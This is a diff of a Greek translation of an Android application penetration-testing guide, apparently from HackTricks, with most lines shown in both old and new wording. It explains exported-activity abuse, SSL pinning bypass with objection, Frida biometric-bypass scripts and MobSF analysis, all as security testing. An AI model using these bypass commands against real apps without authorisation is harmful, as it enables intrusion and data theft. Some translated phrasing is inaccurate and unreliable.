Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **καταργημένους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν οι **hashes** χρησιμοποιούνται για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικοί σε brute-force με salt.
|
||||
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **καταργημένους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt.
|
||||
|
||||
### Άλλοι έλεγχοι
|
||||
|
||||
- Συνιστάται να **αποκρύπτετε το APK** για να δυσκολέψετε τη διαδικασία αντίστροφης μηχανικής για τους επιτιθέμενους.
|
||||
- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη διαδικασία αντίστροφης μηχανικής για τους επιτιθέμενους.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί.
|
||||
@ -187,7 +187,7 @@ react-native-application.md
|
||||
|
||||
### Μυστικά που διαρρέουν
|
||||
|
||||
Μια εφαρμογή μπορεί να περιέχει μυστικά (API keys, κωδικούς πρόσβασης, κρυφές διευθύνσεις URL, υποτομείς...) μέσα σε αυτήν που μπορεί να είστε σε θέση να ανακαλύψετε. Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks).
|
||||
Μια εφαρμογή μπορεί να περιέχει μυστικά (API keys, κωδικούς πρόσβασης, κρυφές διευθύνσεις URL, υποτομείς...) μέσα σε αυτήν που μπορεί να είστε σε θέση να ανακαλύψετε. Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως το [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks).
|
||||
|
||||
### Παράκαμψη Βιομετρικής Αυθεντικοποίησης
|
||||
|
||||
@ -260,7 +260,7 @@ avd-android-virtual-device.md
|
||||
5. Επιστρέψτε πίσω και θα βρείτε τις **Επιλογές προγραμματιστή**.
|
||||
|
||||
> Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να την δοκιμάσετε και να ερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\
|
||||
> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF dynamic analysis + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
|
||||
> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF δυναμική ανάλυση + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
|
||||
|
||||
### Ακούσια Διαρροή Δεδομένων
|
||||
|
||||
@ -274,11 +274,11 @@ avd-android-virtual-device.md
|
||||
|
||||
**Caching του Buffer Αντιγραφής/Επικόλλησης**
|
||||
|
||||
Το πλαίσιο **βάσει clipboard** του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικής κάρτας, για να αποτρέψετε διαρροές δεδομένων.
|
||||
Το **clipboard-based** πλαίσιο του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικής κάρτας, για να αποτρέψετε διαρροές δεδομένων.
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριαστεί αυτός ο κίνδυνος, αποφύγετε την καταγραφή σε περιπτώσεις καταρρεύσεων, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω καναλιού SSL για ασφάλεια.
|
||||
Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε καταρρεύσεις, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω καναλιού SSL για ασφάλεια.
|
||||
|
||||
Ως pentester, **προσπαθήστε να ρίξετε μια ματιά σε αυτά τα logs**.
|
||||
|
||||
@ -303,13 +303,13 @@ avd-android-virtual-device.md
|
||||
### Εκμετάλλευση εξαγόμενων Δραστηριοτήτων
|
||||
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Δραστηριότητα Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Επίσης, θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη μέθοδο **`onCreate`**.
|
||||
Επίσης, θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη **μέθοδο `onCreate`**.
|
||||
|
||||
**Παράκαμψη εξουσιοδότησης**
|
||||
|
||||
Όταν μια Δραστηριότητα είναι εξαγόμενη, μπορείτε να καλέσετε την οθόνη της από μια εξωτερική εφαρμογή. Επομένως, αν μια δραστηριότητα με **ευαίσθητες πληροφορίες** είναι **εξαγόμενη**, θα μπορούσατε να **παράκαμψετε** τους **μηχανισμούς αυθεντικοποίησης** **για να την αποκτήσετε**.
|
||||
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε τις εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/#activities)
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/#activities)
|
||||
|
||||
Μπορείτε επίσης να ξεκινήσετε μια εξαγόμενη δραστηριότητα από το adb:
|
||||
|
||||
@ -318,23 +318,23 @@ avd-android-virtual-device.md
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**ΣΗΜΕΙΩΣΗ**: Το MobSF θα ανιχνεύσει ως κακόβουλη τη χρήση του _**singleTask/singleInstance**_ ως `android:launchMode` σε μια δραστηριότητα, αλλά λόγω [αυτού](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), προφανώς αυτό είναι επικίνδυνο μόνο σε παλιές εκδόσεις (API εκδόσεις < 21).
|
||||
**ΣΗΜΕΙΩΣΗ**: Το MobSF θα ανιχνεύσει ως κακόβουλη τη χρήση του _**singleTask/singleInstance**_ ως `android:launchMode` σε μια δραστηριότητα, αλλά λόγω [αυτού](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), προφανώς αυτό είναι επικίνδυνο μόνο σε παλιές εκδόσεις (εκδόσεις API < 21).
|
||||
|
||||
> [!ΣΗΜΕΙΩΣΗ]
|
||||
> Σημειώστε ότι μια παράκαμψη εξουσιοδότησης δεν είναι πάντα ευπάθεια, θα εξαρτηθεί από το πώς λειτουργεί η παράκαμψη και ποιες πληροφορίες εκτίθενται.
|
||||
|
||||
**Διαρροή ευαίσθητων πληροφοριών**
|
||||
|
||||
**Οι δραστηριότητες μπορούν επίσης να επιστρέφουν αποτελέσματα**. Εάν καταφέρετε να βρείτε μια εξαγόμενη και μη προστατευμένη δραστηριότητα που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει διαρροή ευαίσθητων πληροφοριών.
|
||||
**Οι δραστηριότητες μπορούν επίσης να επιστρέφουν αποτελέσματα**. Αν καταφέρετε να βρείτε μια εξαγόμενη και μη προστατευμένη δραστηριότητα που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει διαρροή ευαίσθητων πληροφοριών.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Εάν δεν προληφθεί το tapjacking, θα μπορούσατε να εκμεταλλευτείτε την εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](./#tapjacking).
|
||||
Αν δεν προληφθεί το tapjacking, θα μπορούσατε να εκμεταλλευτείτε την εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](./#tapjacking).
|
||||
|
||||
### Εκμετάλλευση Παρόχων Περιεχομένου - Πρόσβαση και χειρισμός ευαίσθητων πληροφοριών
|
||||
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Πάροχος Περιεχομένου.**](android-applications-basics.md#content-provider)\
|
||||
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι.
|
||||
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Αν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι.
|
||||
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε τους Παρόχους Περιεχομένου με το Drozer.**](drozer-tutorial/#content-providers)
|
||||
|
||||
@ -343,7 +343,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Υπηρεσία.**](android-applications-basics.md#services)\
|
||||
Θυμηθείτε ότι οι ενέργειες μιας Υπηρεσίας ξεκινούν στη μέθοδο `onStartCommand`.
|
||||
|
||||
Μια υπηρεσία είναι βασικά κάτι που **μπορεί να λάβει δεδομένα**, **να τα επεξεργαστεί** και **να επιστρέψει** (ή όχι) μια απάντηση. Έτσι, εάν μια εφαρμογή εξάγει κάποιες υπηρεσίες, θα πρέπει να **ελέγξετε** τον **κώδικα** για να κατανοήσετε τι κάνει και να **δοκιμάσετε** το **δυναμικά** για να εξάγετε εμπιστευτικές πληροφορίες, παρακάμπτοντας μέτρα αυθεντικοποίησης...\
|
||||
Μια υπηρεσία είναι βασικά κάτι που **μπορεί να λάβει δεδομένα**, **να τα επεξεργαστεί** και **να επιστρέψει** (ή όχι) μια απάντηση. Έτσι, αν μια εφαρμογή εξάγει κάποιες υπηρεσίες, θα πρέπει να **ελέγξετε** τον **κώδικα** για να κατανοήσετε τι κάνει και να **δοκιμάσετε** το **δυναμικά** για να εξάγετε εμπιστευτικές πληροφορίες, παρακάμπτοντας μέτρα αυθεντικοποίησης...\
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε τις Υπηρεσίες με το Drozer.**](drozer-tutorial/#services)
|
||||
|
||||
### **Εκμετάλλευση Δέκτες Εκπομπών**
|
||||
@ -387,7 +387,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
|
||||
|
||||
Ένα [ενδιαφέρον bug bounty report](https://hackerone.com/reports/855618) σχετικά με συνδέσμους (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Αποτυχίες Επιθεώρησης και Επαλήθευσης Στρώματος Μεταφοράς
|
||||
### Αποτυχίες Επιθεώρησης και Επαλήθευσης Επίπεδου Μεταφοράς
|
||||
|
||||
- **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση συνδέσεων HTTP.
|
||||
- **Οι διαπραγματεύσεις κατά τη διάρκεια του SSL/TLS handshake είναι μερικές φορές αδύναμες**, χρησιμοποιώντας ανασφαλείς κρυπτογραφικές σουίτες. Αυτή η ευπάθεια καθιστά τη σύνδεση ευάλωτη σε επιθέσεις man-in-the-middle (MITM), επιτρέποντας στους επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα.
|
||||
@ -399,23 +399,23 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με βάση μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή του SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
|
||||
Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
|
||||
|
||||
#### Επιθεώρηση Κυκλοφορίας
|
||||
#### Επιθεώρηση Κίνησης
|
||||
|
||||
Για να επιθεωρήσετε την HTTP κυκλοφορία, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κυκλοφορία μπορεί να μην είναι ορατή μέσω του proxy. Για έναν οδηγό σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Για να επιθεωρήσετε την κίνηση HTTP, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κίνηση μπορεί να μην είναι ορατή μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Ρύθμιση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κυκλοφορίας. Για οδηγίες σχετικά με την τροποποίηση της Ρύθμισης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Ρύθμιση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της Ρύθμισης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Παράκαμψη SSL Pinning
|
||||
|
||||
Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της HTTPS κυκλοφορίας. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό:
|
||||
Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της κίνησης HTTPS. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό:
|
||||
|
||||
- Αυτόματα **τροποποιήστε** το **apk** για να **παράκαμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το καλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν θα λειτουργήσει πάντα.
|
||||
- Μπορείτε να χρησιμοποιήσετε **Frida** (που συζητείται παρακάτω) για να παρακάμψετε αυτή την προστασία. Εδώ έχετε έναν οδηγό για τη χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Μπορείτε επίσης να προσπαθήσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Μπορείτε επίσης να προσπαθήσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω)
|
||||
- Αν νομίζετε ότι υπάρχει κάποια κυκλοφορία που δεν καταγράφετε, μπορείτε να προσπαθήσετε να **προωθήσετε την κυκλοφορία στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Αν νομίζετε ότι υπάρχει κάποια κίνηση που δεν καταγράφετε, μπορείτε να προσπαθήσετε να **προωθήσετε την κίνηση στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Αναζητώντας Κοινές Ευπάθειες Ιστού
|
||||
|
||||
@ -423,13 +423,13 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής οργάνωσης για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\
|
||||
[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής εργονομίας για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\
|
||||
**Μπορείτε να αποκτήσετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
|
||||
Αν θέλετε να κάνετε pentest σε εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
|
||||
|
||||
- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/)
|
||||
- Μερικά "GUI" για ενέργειες με το Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Το Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Μπορείτε να βρείτε μερικά καταπληκτικά σενάρια Frida εδώ: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Προσπαθήστε να παρακάμψετε μηχανισμούς anti-debugging / anti-frida φορτώνοντας το Frida όπως υποδεικνύεται στο [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Ευαίσθητα δεδομένα στο Keystore**
|
||||
|
||||
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτηθεί πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι δοκιμές ασφάλειας θα πρέπει να ελέγχουν γι' αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα.
|
||||
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτηθεί πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι pentests θα πρέπει να ελέγχουν για αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα.
|
||||
|
||||
Ακόμα και αν μια εφαρμογή αποθηκεύει δεδομένα στο keystore, τα δεδομένα θα πρέπει να είναι κρυπτογραφημένα.
|
||||
|
||||
@ -460,21 +460,21 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Αναγνώριση/Βιομετρική Παράκαμψη**
|
||||
### **Παράκαμψη Δακτυλικών Αποτυπωμάτων/Βιομετρικών**
|
||||
|
||||
Χρησιμοποιώντας το παρακάτω σενάριο Frida, θα μπορούσε να είναι δυνατό να **παρακαμφθεί η αυθεντικοποίηση δακτυλικών αποτυπωμάτων** που ενδέχεται να εκτελούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Εικόνες Υποβάθρου**
|
||||
### **Εικόνες Φόντου**
|
||||
|
||||
Όταν βάζετε μια εφαρμογή σε υποβάθρο, το Android αποθηκεύει μια **στιγμιότυπο της εφαρμογής** έτσι ώστε όταν ανακτηθεί στο προσκήνιο να αρχίσει να φορτώνει την εικόνα πριν από την εφαρμογή, κάνοντάς την να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα.
|
||||
Όταν βάζετε μια εφαρμογή σε φόντο, το Android αποθηκεύει μια **στιγμιότυπο της εφαρμογής** έτσι ώστε όταν ανακτηθεί στο προσκήνιο να αρχίσει να φορτώνει την εικόνα πριν από την εφαρμογή, κάνοντάς την να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα.
|
||||
|
||||
Ωστόσο, αν αυτό το στιγμιότυπο περιέχει **ευαίσθητες πληροφορίες**, κάποιος με πρόσβαση στο στιγμιότυπο μπορεί να **κλέψει αυτές τις πληροφορίες** (σημειώστε ότι χρειάζεστε root για να έχετε πρόσβαση σε αυτό).
|
||||
|
||||
Τα στιγμιότυπα συνήθως αποθηκεύονται γύρω από: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Το Android παρέχει έναν τρόπο να **αποτρέψει την καταγραφή στιγμιότυπων οθόνης ρυθμίζοντας την παράμετρο διάταξης FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, το περιεχόμενο του παραθύρου θεωρείται ασφαλές, αποτρέποντας την εμφάνιση σε στιγμιότυπα οθόνης ή την προβολή σε μη ασφαλείς οθόνες.
|
||||
Το Android παρέχει έναν τρόπο να **αποτρέψει τη λήψη στιγμιότυπων οθόνης ρυθμίζοντας την παράμετρο διάταξης FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, το περιεχόμενο του παραθύρου θεωρείται ασφαλές, αποτρέποντας την εμφάνιση σε στιγμιότυπα οθόνης ή την προβολή σε μη ασφαλείς οθόνες.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -495,7 +495,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
- Μπορεί να εκθέσει μη εξαγόμενα components και content providers στους επιτιθέμενους.
|
||||
- Η μετατροπή URL σε `Intent` του `WebView` μπορεί να διευκολύνει ακούσιες ενέργειες.
|
||||
|
||||
### Εισαγωγές Πελάτη Android και άλλες
|
||||
### Εισαγωγές Client Side Android και άλλα
|
||||
|
||||
Πιθανώς γνωρίζετε για αυτούς τους τύπους ευπαθειών από τον Ιστό. Πρέπει να είστε ιδιαίτερα προσεκτικοί με αυτές τις ευπάθειες σε μια εφαρμογή Android:
|
||||
|
||||
@ -525,23 +525,23 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
|
||||
Το MobSF επιτρέπει επίσης την **diff/Compare** ανάλυση και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
|
||||
|
||||
### Βοηθητική Δυναμική ανάλυση με το MobSF
|
||||
### Βοηθητική Δυναμική ανάλυση με MobSF
|
||||
|
||||
**MobSF** μπορεί επίσης να είναι πολύ χρήσιμο για **δυναμική ανάλυση** σε **Android**, αλλά σε αυτή την περίπτωση θα χρειαστεί να εγκαταστήσετε το MobSF και το **genymotion** στον υπολογιστή σας (μια VM ή Docker δεν θα λειτουργήσει). _Σημείωση: Πρέπει να **ξεκινήσετε πρώτα μια VM στο genymotion** και **μετά το MobSF.**_\
|
||||
Ο **δυναμικός αναλυτής MobSF** μπορεί να:
|
||||
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots που κάνατε εσείς, screenshots που έγιναν από τον "**Exported Activity Tester**", emails, SQLite βάσεις δεδομένων, XML αρχεία και άλλα δημιουργημένα αρχεία). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots, πρέπει να πατήσετε όταν θέλετε ένα screenshot ή να πατήσετε "**Exported Activity Tester**" για να αποκτήσετε screenshots όλων των εξαγόμενων δραστηριοτήτων.
|
||||
- Capture **HTTPS traffic**
|
||||
- Use **Frida** to obtain **runtime** **information**
|
||||
- Χρησιμοποιήστε το **Frida** για να αποκτήσετε **runtime** **information**
|
||||
|
||||
Από τις εκδόσεις Android **> 5**, θα **ξεκινήσει αυτόματα το Frida** και θα ρυθμίσει τις παγκόσμιες ρυθμίσεις **proxy** για να **καταγράψει** την κίνηση. Θα καταγράψει μόνο την κίνηση από την εφαρμογή που δοκιμάζεται.
|
||||
|
||||
**Frida**
|
||||
|
||||
